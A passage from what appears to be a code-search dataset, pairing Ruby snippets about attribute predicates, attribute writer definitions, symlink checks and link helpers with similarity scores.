"title": ""
},
{
"docid": "2555ccd2933ba1899da63ab86e16b23f",
"score": "0.57112974",
"text": "def link_attributes\n [:accesskey, :charset, :coords, :hreflang, :id, :lang, :name, :onblur,\n :onclick, :ondblclick, :onfocus, :onkeydown, :onkeypress, :onkeyup,\n :onmousedown, :onmousemove, :onmouseout, :onmouseover, :onmouseup,\n :rel, :rev, :shape, :style, :tabindex, :target, :title, :type]\n end",
"title": ""
},
{
"docid": "c78d6aaecc4343d39d4c1af57158eb50",
"score": "0.5709813",
"text": "def what_links_heres_ok?\n what_links_here_except_obsolete_combinations.empty?\n end",
"title": ""
},
{
"docid": "c6168e44bbcfa656f122899d2c49a664",
"score": "0.568419",
"text": "def attribute?\n node_type == ATTRIBUTE_NODE\n end",
"title": ""
},
{
"docid": "0eca36460fff1272c39b6020795731cc",
"score": "0.56834805",
"text": "def symlink_outside_site_source?(entry); end",
"title": ""
},
{
"docid": "6904abe61c6357a9396b54d49b518a82",
"score": "0.56823075",
"text": "def mutable?\n cmd('link set dev eth0') # innocuous command\n true\n rescue Errors::InterfacePermissionError\n false\n end",
"title": ""
},
{
"docid": "a16387c11b9d276ad966f204a9df1232",
"score": "0.5676793",
"text": "def existent\n expanded.select do |f|\n does_exist = File.exist?(f)\n\n if !does_exist && File.symlink?(f)\n raise \"File #{f.inspect} is a symlink that does not point to a valid file\"\n end\n does_exist\n end\n end",
"title": ""
},
{
"docid": "93063888b2283e4a30c07e205ad3e406",
"score": "0.56629694",
"text": "def related?(link_rel)\n _ = related link_rel\n true\n\n rescue KeyError\n false\n end",
"title": ""
},
{
"docid": "636effac8ef7265bd3b9753e0955fc54",
"score": "0.5660947",
"text": "def attribute?\n @attribution\n end",
"title": ""
},
{
"docid": "5d50cf27fbf68ef6280e17f4455c6c4f",
"score": "0.56455106",
"text": "def has_attributes?(names)\n parts = composite_parts\n names.all?{|k| parts.key?(k)}\n end",
"title": ""
},
{
"docid": "370f1639c33c46574de9c68aee349903",
"score": "0.5643638",
"text": "def is_propertyAttr?(attr)\n if ([RDF_NS.Description.to_s, RDF_NS.li.to_s] + OLD_TERMS).include?(attr.uri.to_s)\n warn = \"Invalid use of rdf:#{attr.name}\"\n add_debug(attr, warn)\n raise InvalidPredicate.new(warn) if @strict\n return false\n end\n !CORE_SYNTAX_TERMS.include?(attr.uri.to_s) && attr.namespace && attr.namespace.href != XML_NS.uri.to_s\n end",
"title": ""
},
{
"docid": "cfdbf32d5c828047e321b3bac4852da9",
"score": "0.56317466",
"text": "def attributes_exist?\n\tend",
"title": ""
},
{
"docid": "07e3d4dc5262e10d1aa1bb2426853e33",
"score": "0.561627",
"text": "def mountpoint?\n begin\n stat1 = self.lstat\n stat2 = self.parent.lstat\n stat1.dev == stat2.dev && stat1.ino == stat2.ino ||\n stat1.dev != stat2.dev\n rescue Errno::ENOENT\n false\n end\n end",
"title": ""
},
{
"docid": "1dd13bab618b689fbc44a7c053ae61a3",
"score": "0.5613179",
"text": "def installed?\n File.symlink?(otrs_path)\n end",
"title": ""
},
{
"docid": "985cfeada97b1e85ed911c8db2170066",
"score": "0.55908704",
"text": "def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"title": ""
},
{
"docid": "88b818b90fd86ec66a91c353a446641c",
"score": "0.5581633",
"text": "def has_attributes?\n a = @context.attributes.find{|a| @options.show_all || a.visibility == :public || a.visibility == :protected}\n a ? true : false\n end",
"title": ""
},
{
"docid": "57f2bf6183594dd71b175d7a637e7d5c",
"score": "0.5565303",
"text": "def attlistdecl?\n @contents[0] == :attlistdecl\n end",
"title": ""
},
{
"docid": "04549964cd381b503c9e4fe168606bf8",
"score": "0.55576116",
"text": "def physattr_exists?(rattr_name)\n raceattr_exists?(rattr_name)\n end",
"title": ""
},
{
"docid": "4a1ee35e1001a957e62ea0dab095f34a",
"score": "0.5556112",
"text": "def has_attribute?(attr_name)\n attr_name = attr_name.to_s\n attr_name = self.class.attribute_aliases[attr_name] || attr_name\n @attributes.key?(attr_name)\n end",
"title": ""
},
{
"docid": "02b94585733e6dd8b33ecd2a5e794b2e",
"score": "0.55316246",
"text": "def mountpoint?\n begin\n stat1 = lstat\n stat2 = parent.lstat\n stat1.dev != stat2.dev or stat1.ino == stat2.ino\n rescue Errno::ENOENT\n false\n end\n end",
"title": ""
},
{
"docid": "cbe5e2203879ee31798bbed698637586",
"score": "0.5530734",
"text": "def has_attribute?(attr_name)\n @attributes.has_key?(attr_name.to_sym)\n end",
"title": ""
},
{
"docid": "165cd3400b7c26f4e7c285d1d447a935",
"score": "0.55225325",
"text": "def attribute_decl?\n node_type == ATTRIBUTE_DECL\n end",
"title": ""
},
{
"docid": "2d6ec015d9f15d57367079c3eca82392",
"score": "0.5521008",
"text": "def has_attribute?(name)\n attribute_names.include?(name.to_str)\n end",
"title": ""
},
{
"docid": "c5fdbf3a85112a60cb35e34af632abf6",
"score": "0.551519",
"text": "def add_image_link?(options)\n !options.key?(:link) || options[:link]\n end",
"title": ""
},
{
"docid": "42e8544ba10b89a875affbf04f2bcd0f",
"score": "0.5514066",
"text": "def has_attribute?(name)\n attributes.has_key?(name)\n end",
"title": ""
},
{
"docid": "d9b97777533de1d5f393fbdb9a23d37c",
"score": "0.55127424",
"text": "def has_attribute?(attr_name)\n attr_name = attr_name.to_s\n attr_name = attribute_aliases[attr_name] || attr_name\n attribute_types.key?(attr_name)\n end",
"title": ""
},
{
"docid": "925bd147a030e0928beaf2b84846d7ee",
"score": "0.5508162",
"text": "def add_default_rel_attributes?\n @should_add_noopener = false if should_not_include_noopener?\n\n @should_add_noreferrrer = false if should_not_include_noreferrer?\n end",
"title": ""
},
{
"docid": "1ffdd998af4fc1d5abaaeafdc72fced3",
"score": "0.5496394",
"text": "def has_attribute (attname)\n\n attname = OpenWFE::symbol_to_name(attname) if attname.is_a?(Symbol)\n\n (@attributes[attname] != nil)\n end",
"title": ""
},
{
"docid": "149dfdbb500dff0fa5c426c07fc0b3ad",
"score": "0.5495699",
"text": "def link_has_class_attribute?(link)\n link.include?(\"class=\")\n end",
"title": ""
},
{
"docid": "4c289b3d5355727a3283feb5b1ba5dde",
"score": "0.54928887",
"text": "def mountpoint?\n begin\n stat1 = expand_tilde.lstat\n stat2 = expand_tilde.parent.lstat\n stat1.dev == stat2.dev && stat1.ino == stat2.ino ||\n stat1.dev != stat2.dev\n rescue Errno::ENOENT\n false\n end\n end",
"title": ""
},
{
"docid": "d2c0a0c680c0be62a31aa916ac3af614",
"score": "0.5488243",
"text": "def links_have_changed?(opp)\n checksum = attribute_checksum(opp, 'links')\n existing = existing_link_checksum(opp)\n\n if existing != checksum\n set_bot_metadata(opp, 'link_checksum', checksum)\n end\n\n if existing != checksum && !existing.nil?\n {\n time: Time.now.to_i*1000,\n source: \"links updated\\n📎 \" + opp['links'].sort{|a,b| a.sub(/[a-z]+:\\/\\//,'') <=> b.sub(/[a-z]+:\\/\\//,'')}.reject {|t| t.start_with?(BOT_LINK_PREFIX)}.join(\"\\n📎 \")\n }\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "727c3467ec9314e6abfb9dbe6d9811a2",
"score": "0.54723394",
"text": "def attribute?\n false\n end",
"title": ""
},
{
"docid": "08f80b754170ae02a2670f88c1f15466",
"score": "0.54701006",
"text": "def has_attribute?(attr_name)\n @attributes.has_key?(attr_name.to_s)\n end",
"title": ""
},
{
"docid": "e7432959fb4b73e4d291b54e6660b2e2",
"score": "0.5463099",
"text": "def show_links?\n edata = extra_data\n bitvalue = edata[\"m_search_engines\"].to_i\n is_a_search_link_set = [1,2,4,8,16].map do |a| \n (bitvalue & a) > 0 ? 1 : nil \n end.compact.size > 0\n is_a_search_link_set || (edata[\"artist\"] &&\n !edata[\"artist\"][\"name\"].blank? &&\n !edata[\"artist\"][\"url\"].blank?)\n end",
"title": ""
},
{
"docid": "9d3c3332c5a578530c7bd1dee898a25f",
"score": "0.545564",
"text": "def has_links?(links)\r\n\t\texpected_links_raw = links.rows\r\n\t\texpected_links_raw.each do |link_text|\r\n\t\t\t@browser.link(:text => link_text[0]).exists?.should == true\r\n\t\tend\r\n\tend",
"title": ""
},
{
"docid": "4d85e318e09eac45904f317dc69d4643",
"score": "0.5446078",
"text": "def link_is_fulltext?\n @link_is_fulltext\n end",
"title": ""
},
{
"docid": "79625c31873b19fc49942132704a2dd2",
"score": "0.544564",
"text": "def attribute?(name)\n name[0] != ?_ && property?(name)\n end",
"title": ""
},
{
"docid": "6c57a53f0df5887f054b0df33ec881b5",
"score": "0.5444531",
"text": "def attrib_needed? attrib_sym = nil\n attrib_sym.nil? ? needed_attributes.present? : send(:\"#{attrib_sym}_needed\")\n end",
"title": ""
},
{
"docid": "ec4b175191ea45ffc74fafe299eb171a",
"score": "0.5441262",
"text": "def linked?(cell)\n\t\t@links.key? cell\n\tend",
"title": ""
},
{
"docid": "29f00e3b1898927a78b55a140bd1cbfa",
"score": "0.5440332",
"text": "def attributes?\n attributes.length > 0\n end",
"title": ""
},
{
"docid": "fda9bb4bf878d08bacd0e635e91c4cb8",
"score": "0.54312557",
"text": "def has_attribute?(name)\n val = @attributes[name]\n val.nil? ? false : (not val.empty?)\n end",
"title": ""
},
{
"docid": "e68568b01d4b94b5a82535a8acb44b62",
"score": "0.54265267",
"text": "def exists?\n File.directory?(directory) && !entry_filter.symlink?(directory)\n end",
"title": ""
},
{
"docid": "9ac7454b60766bdf50dbbc457adaaf4a",
"score": "0.5420827",
"text": "def is_ref? ; !!metadata[:ref] ; end",
"title": ""
},
{
"docid": "7eafce1b8808a6d3284e75eca032a00b",
"score": "0.542051",
"text": "def crosswalk_attr?(attr_name, access_by: nil)\n attr_name = attr_name.to_sym\n crosswalk_attrs(access_by: access_by).include?(attr_name)\n end",
"title": ""
},
{
"docid": "bdd304d82f78910e5c3bf4503c5f1740",
"score": "0.54175866",
"text": "def attrs_ok?\n return_value = true\n unless description.is_a? String\n Origen.log.error(\"Clock attribute 'description' must be a String!\")\n return_value = false\n end\n return_value = false unless frequencies_ok?\n return_value\n end",
"title": ""
},
{
"docid": "7879c98b1ea4e3c56915a73696b9e64e",
"score": "0.5411667",
"text": "def multipath_in_use?\n Storage.GetTargetMap.detect{|k,e| e.fetch(\"type\",:X)==:CT_DMMULTIPATH} ? true:false\n end",
"title": ""
},
{
"docid": "1dd5615429b44d5d6d99524a48b33323",
"score": "0.5402586",
"text": "def link_exists_on(host, link_path)\n # Links are weird on windows, fall back to seeing if the file exists\n return file_exists_on(host, link_path) if host[:platform].include?('windows')\n\n return on(host, Command.new(%(test -L \"#{link_path}\"), accept_all_exit_codes: true)).exit_code.zero?\n end",
"title": ""
},
{
"docid": "c34af62efaa64b391286785a264d8a32",
"score": "0.5398124",
"text": "def has_hyperlink?\n HYPERLINK_HOOKS.each { |string|\n return true if self.include?(string)\n }\n false\n end",
"title": ""
},
{
"docid": "ca20a7108f1fb2b58143ac5ec1b73d0c",
"score": "0.53911054",
"text": "def has_attribute?(attr_name)\n attr_name = attr_name.to_s\n attr_name = self.class.attribute_aliases[attr_name] || attr_name\n attribute_types.key?(attr_name)\n end",
"title": ""
}
] |
3c16c446392942b26231c6fcd5208e69
|
Defines an attribute writer method
|
[
{
"docid": "83c2b6f2dbac7ad26cfac27dacb526fa",
"score": "0.7402525",
"text": "def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"title": ""
}
] |
[
{
"docid": "5a0bcdaca95c21b13aacca36f9fad742",
"score": "0.7735571",
"text": "def _write_attribute(attr_name, value); end",
"title": ""
},
{
"docid": "5812dd7a37c0eccc3d9481c23d74c649",
"score": "0.7695904",
"text": "def write_attribute(attr_name, value); end",
"title": ""
},
{
"docid": "39337c2ee2f1e20a95528ee374323c34",
"score": "0.7513521",
"text": "def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"title": ""
},
{
"docid": "592eaedb6e9b9540b7d75bbf39753328",
"score": "0.7494688",
"text": "def attr_internal_writer(*attrs); end",
"title": ""
},
{
"docid": "818a28ea23a393353f522258d13ba1d1",
"score": "0.7477506",
"text": "def writer(*args)\n attr_writer(*args)\n args\n end",
"title": ""
},
{
"docid": "d72b5a36b20ffe9083b0b422c6853428",
"score": "0.741387",
"text": "def ecwid_writer(*attrs)\n attrs.map(&:to_s).each do |attribute|\n method = \"#{attribute.underscore}=\"\n define_accessor(method) do |value|\n @new_data[attribute] = value\n end unless method_defined?(method)\n end\n end",
"title": ""
},
{
"docid": "ea711966728349596b0cbdfbc1b8018c",
"score": "0.73733735",
"text": "def define_writer( attribute )\n\n write_accessor_name = attribute.write_accessor_name\n\n instance_controller = ::CascadingConfiguration::Core::InstanceController.create_instance_controller( self )\n\n instance_controller.define_instance_method( write_accessor_name ) do |value|\n\n return set_attribute( attribute, value )\n \n end\n \n return self\n\n end",
"title": ""
},
{
"docid": "ea18c1b0c4d2aef5b4e160624bd93529",
"score": "0.7310779",
"text": "def define_attribute_writer(name)\n\t\t@klass.send :attr_writer, name.to_sym\t # Instance accessor\n\t end",
"title": ""
},
{
"docid": "ea18c1b0c4d2aef5b4e160624bd93529",
"score": "0.7310779",
"text": "def define_attribute_writer(name)\n\t\t@klass.send :attr_writer, name.to_sym\t # Instance accessor\n\t end",
"title": ""
},
{
"docid": "ed39c33b2de8111fd1af7a578549baca",
"score": "0.72703654",
"text": "def evaluate_attr_writer(arguments, context)\n arguments.each do |arg|\n define_attribute(arg.value.to_s, context, true)\n end\n end",
"title": ""
},
{
"docid": "c50effab6a2f1360de36944bf1dfb58f",
"score": "0.7237816",
"text": "def define_dynamic_writer(name)\n return unless name.valid_method_name?\n\n class_eval do\n define_method(\"#{name}=\") do |value|\n write_attribute(name, value)\n end\n end\n end",
"title": ""
},
{
"docid": "a775d3339a8dee1814a1cbf65648a50c",
"score": "0.7232075",
"text": "def attr_writer(name); end",
"title": ""
},
{
"docid": "b34e1be72fa653af8d32020df969705c",
"score": "0.71922755",
"text": "def write_attribute(attr, value)\n write_handle_attribute(attr, value)\n end",
"title": ""
},
{
"docid": "c00bcf6cd0ae1ff579e0a90846125266",
"score": "0.71573585",
"text": "def abstract_attr_writer(method_name)\n abstract \"#{method_name}=\"\n end",
"title": ""
},
{
"docid": "0b0444ec26df64d9e7f9a34cdff4a558",
"score": "0.71511745",
"text": "def define_attribute_writer_method(key, *key_path)\n define_method(:\"#{key}=\") do |value|\n @attrs.deep_reverse_merge! keypath_hash_for(key_path << key, value)\n end\n end",
"title": ""
},
{
"docid": "d028d426c4537f4044f84393aef14ebe",
"score": "0.71462196",
"text": "def config_attr_writer(method_symbol, &block); end",
"title": ""
},
{
"docid": "9540dff4e701b0cf477696a4ace9031c",
"score": "0.71178836",
"text": "def writer(*names)\n names.each { |name| attribute name, :writer }\n end",
"title": ""
},
{
"docid": "01837abe5abbf99e492036b9ec7a3cf0",
"score": "0.7092651",
"text": "def create_attr_writer(name, type:, class_attribute: false, &block)\n create_attribute(name, kind: :writer, type: type, class_attribute: class_attribute, &block)\n end",
"title": ""
},
{
"docid": "3f879bf451a02a929af89cced82010dc",
"score": "0.70895433",
"text": "def eattr_writer(*attrs)\n eigenclass_eval { attr_writer *attrs }\n end",
"title": ""
},
{
"docid": "0388ff1a4d3f3e60a09be66e747d0fd5",
"score": "0.70708555",
"text": "def cattr_writer(*attrs)\n attrs.each do |attr|\n instance_eval(\"def #{attr}=(val); @#{attr} = val; end\")\n end\n end",
"title": ""
},
{
"docid": "707f7212a7f177f64f20893aeedcb326",
"score": "0.70488626",
"text": "def define_attribute_writer(name)\n\t\tmethod_name = name.to_s + '='\n\n\t\t# Class accessor that forwards to the Sketch\n\t\t@klass.class_eval \"class << self; def #{method_name}(value); sketch.#{method_name} value; end; end\"\n\n\t\t# Instance accessor that forwards to the Sketch\n\t\t@klass.send :define_method, method_name.to_sym do |value|\n\t\t sketch.send method_name, value\n\t\tend\n\n\t\t# Instance accessor on the new Sketch\n\t\t@sketch_klass.send :attr_writer, name.to_sym\n\t end",
"title": ""
},
{
"docid": "6f6eb4828ac299f3ea2e7fc1975c9db2",
"score": "0.70150995",
"text": "def attr_writer(name) #:nodoc:\n class_eval <<-CODE\n def #{name}=(value)\n attributes[:#{name}] = value\n end\n CODE\n end",
"title": ""
},
{
"docid": "2b0633ade1d424863b32639914123d7e",
"score": "0.69395876",
"text": "def attr_internal_writer(*attrs)\n attrs.each { |attr_name| attr_internal_define(attr_name, :writer) }\n end",
"title": ""
},
{
"docid": "46c831f1e719073f61b578a1298771c9",
"score": "0.6907361",
"text": "def define_attribute_writer(field_name, field_type, visibility)\n define_meta_module_method(\"#{field_name}=\", visibility) do |val|\n write_attribute(field_name, val)\n end\n end",
"title": ""
},
{
"docid": "4dce47fe45d27f87602ffc54b53ba257",
"score": "0.69071126",
"text": "def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"title": ""
},
{
"docid": "2ae510d25a630fa0fc9975a535b1ad8e",
"score": "0.68908536",
"text": "def create_attr_writer(name, type:, &block)\n create_attribute(name, kind: :writer, type: type, &block)\n end",
"title": ""
},
{
"docid": "3873476e71ea4acb9c486562352e21b8",
"score": "0.688923",
"text": "def write_attribute(name = attribute, value)\n record.public_send(:\"#{name}=\", value)\n end",
"title": ""
},
{
"docid": "3873476e71ea4acb9c486562352e21b8",
"score": "0.688923",
"text": "def write_attribute(name = attribute, value)\n record.public_send(:\"#{name}=\", value)\n end",
"title": ""
},
{
"docid": "f2dbc9fc70beb9a4d941a582379f1d5a",
"score": "0.6847784",
"text": "def write_attribute_text_p28writer(rubyfile, attribute_name)\n rubyfile.puts \" a___\" + attribute_name + \".text = \" + attribute_name\nend",
"title": ""
},
{
"docid": "b5eb499d740f7df61e285add36f971d4",
"score": "0.68179965",
"text": "def instance_write(attr, value)\n setter = :\"#{name}_#{attr}=\"\n responds = instance.respond_to?(setter)\n instance.send(setter, value) if responds || attr.to_s == \"file_name\"\n end",
"title": ""
},
{
"docid": "3166f88ed8e7b3071fc74b28818b2cf5",
"score": "0.6800269",
"text": "def define_writer(name, options = {})\n values = extract_values_from(options)\n format = extract_format_from(options)\n types = extract_types_from(options)\n\n define_method(\"#{name}=\") do |value|\n raise InvalidAttributeValue.new(value, values) if values && !values.include?(value)\n\n raise InvalidAttributeFormat.new(value, format) if !format.nil? && value !~ format\n\n raise InvalidAttributeType.new(value, types) if value && types && types.none? { |klass| value.is_a?(klass) }\n\n instance_variable_set(:\"@#{name}\", value)\n end\n end",
"title": ""
},
{
"docid": "bde90b870c49b43849c5372e94d488aa",
"score": "0.6756033",
"text": "def dsl_attr_writer(*names_)\n names_.each do |name_|\n attr_writer(name_)\n alias_method(name_, \"#{name_}=\")\n dsl_method(name_)\n end\n end",
"title": ""
},
{
"docid": "f3d9ef169caee4762dfbfc5bd008d8b3",
"score": "0.67545885",
"text": "def mattr_writer(*syms)\n syms.each do |sym|\n raise NameError.new(\"invalid attribute name: #{sym}\") unless sym =~ /^[_A-Za-z]\\w*$/\n class_eval(<<-EOS, __FILE__, __LINE__ + 1)\n @@#{sym} = nil unless defined? @@#{sym}\n def self.#{sym}=(obj)\n @@#{sym} = obj\n end\n EOS\n\n send(\"#{sym}=\", yield) if block_given?\n end\n end",
"title": ""
},
{
"docid": "7c7ca9f11548e9700e8f4c5954b15f1e",
"score": "0.6738736",
"text": "def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"title": ""
},
{
"docid": "6a4cddfea9e2180573e2da43f8cc404d",
"score": "0.6724907",
"text": "def define_filtered_attr_writer(attribute, filter)\n define_method(\"#{attribute}=\") do |value|\n result =\n case filter\n when Symbol\n value.respond_to?(filter) ? value.send(filter) : value\n when Regexp\n value.respond_to?(:gsub) ? value.gsub(filter, '') : value\n when Proc\n filter.call(value)\n else # nil\n end\n\n if defined?(super)\n super(result)\n else\n # Required for non-column attributes:\n instance_variable_set(\"@#{attribute}\".to_sym, result)\n write_attribute(attribute.to_sym, result)\n end\n end\n end",
"title": ""
},
{
"docid": "230aed5b7c8356061b0c3050f3fe1f6a",
"score": "0.67197",
"text": "def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n new_meth.docstring.replace setter_docstring(klass, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"title": ""
},
{
"docid": "a723cbc4ce3016f2fa688728b4d71e21",
"score": "0.6707986",
"text": "def instance_write(attr, value)\n setter = :\"#{name}_#{attr}=\"\n responds = instance.respond_to?(setter)\n self.instance_variable_set(\"@_#{setter.to_s.chop}\", value)\n instance.send(setter, value) if responds || attr.to_s == \"file_name\"\n end",
"title": ""
},
{
"docid": "871ba04ea0ab441d435b36ab87a9b6cf",
"score": "0.67076075",
"text": "def write_attribute(name, value)\n name = name.to_s\n\n if respond_to? \"#{name}=\"\n __send__(\"attribute=\", name, value)\n else\n raise ActiveAttr::UnknownAttributeError, \"unknown attribute: #{name}\"\n end\n end",
"title": ""
},
{
"docid": "ae9b1f910edc2785bfd40e6fd28443c1",
"score": "0.66977036",
"text": "def define_attr_method(name, value=nil)\n #logger.debug 'Defining %s' % name\n (class << self; self; end).class_eval \"def #{name}; #{value.to_s.inspect}; end\"\n end",
"title": ""
},
{
"docid": "223864ead7eb658997a76b5d14915ce7",
"score": "0.66901505",
"text": "def define_write_method_for_dates_and_times(attr_name)\n method_body = <<-EOV\n def #{attr_name}=(value)\n write_date_time_attribute('#{attr_name}', value)\n end\n EOV\n evaluate_attribute_method attr_name, method_body, \"#{attr_name}=\"\n end",
"title": ""
},
{
"docid": "bbfc89589eb93e3a8027a60c6c127b5b",
"score": "0.6679966",
"text": "def write_attr(attr_name, value)\n self[attr_name.to_sym] = value\n end",
"title": ""
},
{
"docid": "d0307a1367c4f94ff24ad1bca5de1541",
"score": "0.6679653",
"text": "def define_attribute_methods; end",
"title": ""
},
{
"docid": "c6e3d0d7fef3a23845c0c517bda7a450",
"score": "0.667897",
"text": "def attr_atomic_writer( *attributes )\n\n atomic_attribute_writers.push( *attributes )\n\n attributes.each do |this_attribute|\n define_writer( this_attribute )\n end\n \n return self\n\n end",
"title": ""
},
{
"docid": "1681b6c1dd9bdfa747c7f721d2f2a2a6",
"score": "0.6635479",
"text": "def create_writer_for(property)\n \n property_name = property.name\n name = property.name.to_s\n writer_visibility = property.writer_visibility\n writer_name = \"#{name}=\"\n \n writer = <<-RUBY\n #{writer_visibility}\n def #{writer_name}(value)\n attribute_set(:#{property_name}, value)\n attribute_get(:#{property_name})\n end\n RUBY\n \n property_module.module_eval writer\n \n end",
"title": ""
},
{
"docid": "8bb4d32870ff371cbfca57f5102673e7",
"score": "0.66227597",
"text": "def metaattr_writer(*syms)\n syms.pop if syms.last === true\n metaclass_eval { attr_writer(*syms) }\n end",
"title": ""
},
{
"docid": "d309dffd28fdac85d4496f776991c611",
"score": "0.66177845",
"text": "def attribute=(attr_name, value); end",
"title": ""
},
{
"docid": "c4841f66a7d3a56ca19a3b5b675230f5",
"score": "0.6616171",
"text": "def handle_attribute(var_name, name, read, write, scope = :instance)\n values = {:read => read.to_i, :write => write.to_i}\n {:read => name, :write => \"#{name}=\"}.each do |type, meth_name|\n next unless values[type] > 0\n obj = handle_method(scope, var_name, meth_name, nil)\n register_file_info(obj, statement.file, statement.line)\n obj.namespace.attributes[scope][name] ||= SymbolHash[:read => nil, :write => nil]\n obj.namespace.attributes[scope][name][type] = obj\n end\n end",
"title": ""
},
{
"docid": "2d6d7bd800fead319cb16b886912d84c",
"score": "0.66008645",
"text": "def attr_internal_writer(*attrs)\r\n attrs.each do |attr|\r\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\r\n end\r\n end",
"title": ""
},
{
"docid": "0fc18cafd79e7378865a419d298694a6",
"score": "0.65928596",
"text": "def make_writer(symbol)\n eigenclass = class << self;\n self\n end\n eigenclass.class_eval do\n attr_writer symbol\n end\n end",
"title": ""
},
{
"docid": "7159b25f4b05788baa0f4a826c8751af",
"score": "0.6589857",
"text": "def write_attribute(attr_name, value)\n assign_attributes(attr_name => value)\n end",
"title": ""
},
{
"docid": "b0962d222dd59279cd99a700280e9d40",
"score": "0.6564943",
"text": "def private_attr_writer(*attrs)\n attr_writer(*attrs)\n private(*attrs.map { |attr| \"#{attr}=\".to_sym })\n end",
"title": ""
},
{
"docid": "10aa31dd869b47c4ce03736784c36f67",
"score": "0.6563905",
"text": "def create_writer_for(property)\n return if property.key? || property.serial? # let AR do it\n name = property.name\n writer_visibility = property.writer_visibility\n\n writer_name = \"#{name}=\"\n property_module.module_eval <<-RUBY, __FILE__, __LINE__ + 1\n #{writer_visibility}\n def #{writer_name}(value)\n attribute_set(:#{name}, value)\n end\n RUBY\n end",
"title": ""
},
{
"docid": "4b594de784de4227289c1ed20f218bdc",
"score": "0.6560774",
"text": "def add_writer_tags(klass, new_method, member); end",
"title": ""
},
{
"docid": "cce37c83c4b6f795b30972dcb171ffa4",
"score": "0.65501595",
"text": "def after_attr_writer_action(method, action_type, *values)\n if options_exist? && current_options.debug?\n puts \"after attr_writer action method: :#{method}, action: #{action_type}, values: #{values}\"\n end\n # If the writer value is being written, return the value; otherwise,\n # return self so that we can continue any chaining that is going on.\n action_type == ActionType::ATTR_WRITE ? values[0] : self\n end",
"title": ""
},
{
"docid": "cda602bf226ef7f05781f0a5fb4534e1",
"score": "0.6547157",
"text": "def _write_attribute(attr_name, value) # :nodoc:\n @attributes.write_from_user(attr_name, value)\n end",
"title": ""
},
{
"docid": "24cab6b37e5e288c37df68dc6674f051",
"score": "0.65418005",
"text": "def write_attribute(name, value)\n attributes[name.to_sym] = value\n end",
"title": ""
},
{
"docid": "5d4e586955455eb9b4d8d4beb0fb8354",
"score": "0.652913",
"text": "def call(attribute)\n define_reader(attribute)\n define_writer(attribute)\n end",
"title": ""
},
{
"docid": "0db608f9a544bc2e06caa570bcf3f559",
"score": "0.6517533",
"text": "def instance_write(attr, value)\n setter = :\"#{name}_#{attr}=\"\n raise unless @instance.respond_to?(setter)\n @instance.send(setter, value)\n end",
"title": ""
},
{
"docid": "67fb8b4780de0b875159fdc18dbc50b8",
"score": "0.6515522",
"text": "def write_attribute(name, value)\n if name[0] == '{'\n (namespace, local_name) = Service.parse_clark_notation(name)\n if @namespace_map.key?(namespace)\n # It's an attribute with a namespace we know\n write_attribute(\n @namespace_map[namespace] + ':' + local_name,\n value\n )\n else\n # We don't know the namespace, we must add it in-line\n @adhoc_namespaces[namespace] = 'x' + (@adhoc_namespaces.size + 1).to_s unless @adhoc_namespaces.key?(namespace)\n\n write_attribute_ns(\n @adhoc_namespaces[namespace],\n local_name,\n namespace,\n value\n )\n end\n else\n @writer.write_attribute(name, value)\n end\n end",
"title": ""
},
{
"docid": "c9a009efe2e02d26bde6271147f3c756",
"score": "0.6512201",
"text": "def config_attr_writer(method_symbol, &blk)\n method_name = \"#{method_symbol.to_s}=\"\n meta_def method_name do |value|\n self.configuration[method_symbol] = blk.call(value)\n end\n end",
"title": ""
},
{
"docid": "8aa8d903eccee4520d9fad65957e275e",
"score": "0.6498586",
"text": "def write_attr(attr_name, value, to_call = nil)\n self[attr_name.to_sym] = value && to_call ? value.__send__(to_call) : value\n end",
"title": ""
},
{
"docid": "f2570deb4cf67384ec84f7f069be1055",
"score": "0.6489345",
"text": "def define_method_attribute(attr_name)\n generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1\n def __temp__\n #{internal_attribute_access_code(attr_name, attribute_cast_code(attr_name))}\n end\n alias_method '#{attr_name}', :__temp__\n undef_method :__temp__\n STR\n end",
"title": ""
},
{
"docid": "fb234914a282e016d2a6ba884e4b338d",
"score": "0.64624757",
"text": "def shadow_attr_writer(*args) # :doc:\n shadow_attr :writer, *args\n end",
"title": ""
},
{
"docid": "11f45382ef54c21fa94d834cb833a907",
"score": "0.6459002",
"text": "def attr_non_atomic_writer( *attributes )\n\n non_atomic_attribute_writers.push( *attributes )\n\n attributes.each do |this_attribute|\n \n define_writer( this_attribute )\n\n end\n \n return self\n\n end",
"title": ""
},
{
"docid": "c01342d55ab5caf003423e01d81377db",
"score": "0.6454371",
"text": "def _write_attribute(attr_name, value) # :nodoc:\n @attributes.write_from_user(attr_name.to_s, value)\n value\n end",
"title": ""
},
{
"docid": "7249a7e86fbdd0339526fe95a62d3a75",
"score": "0.6443897",
"text": "def virtus_define_attribute_methods(attribute)\n module_with_methods = self::AttributeMethods\n\n attribute.define_reader_method(module_with_methods)\n attribute.define_writer_method(module_with_methods)\n\n include module_with_methods\n end",
"title": ""
},
{
"docid": "b9c7e7c0104ad78b3230e612b085ae51",
"score": "0.64394194",
"text": "def write_attr(attr_name, value, to_call = nil)\n self[attr_name] = value && to_call ? value.__send__(to_call) : value\n end",
"title": ""
},
{
"docid": "d25c76a79fac6c033bb4b18a5ac1e647",
"score": "0.64318544",
